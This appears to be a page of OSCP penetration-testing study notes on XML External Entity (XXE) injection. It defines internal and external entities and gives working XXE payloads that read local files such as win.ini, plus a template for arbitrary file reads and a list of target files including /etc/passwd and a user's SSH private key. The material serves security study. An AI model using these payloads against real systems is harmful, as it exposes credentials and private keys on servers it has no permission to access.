> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/exploitation/xxe.md).

# XXE

<details>

<summary>Internal Entity</summary>

Entity declared within a DTD (XML elements are declared with ELEMENT declaration in DTD like `!ELEMENT element-name category`)

&#x20;Syntax: `<!ENTITY entity_name "entity_value">`

</details>

<details>

<summary>External Entity: </summary>

Entity declared outside of DTD. Identified by SYSTEM. Syntax: <`!ENTITY entity_name SYSTEM "entity_value>`

</details>

<details>

<summary>Example</summary>

<img src="/files/OSUeVv32DwLx2I15UOhk" alt="" data-size="original">

### Testing XXE vuln

```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>
```

<img src="/files/rg34qrIH5SDh9j8UQSvD" alt="" data-size="original">

### XXE Loading External Entity

Since its windows target,&#x20;

```xml

<?xml version = "1.0"?><!DOCTYPE foo [<!ELEMENT item ANY ><!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
```

<img src="/files/rbPKKnXW71JLFnbWglUd" alt="" data-size="original">

</details>

<details>

<summary>Interesting file locations</summary>

<pre class="language-xml"><code class="lang-xml"><strong>&#x3C;?xml version = "1.0"?>&#x3C;!DOCTYPE foo [&#x3C;!ELEMENT foo ANY >&#x3C;!ENTITY xxe SYSTEM "file:///{filename}" >]>
</strong></code></pre>

To display the file:

```xml
<foo>&xxe;</foo>
```

#### Linux:

* `/etc/passwd`

#### Windows:

* `C:/windows/system32/drivers/etc/hosts`
* `c:/windows/win.ini`
* `c:/boot.ini`
* `c:/users/daniel/.ssh/id_rsa`

</details>

### Links

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection>" %}

{% embed url="<https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity>" %}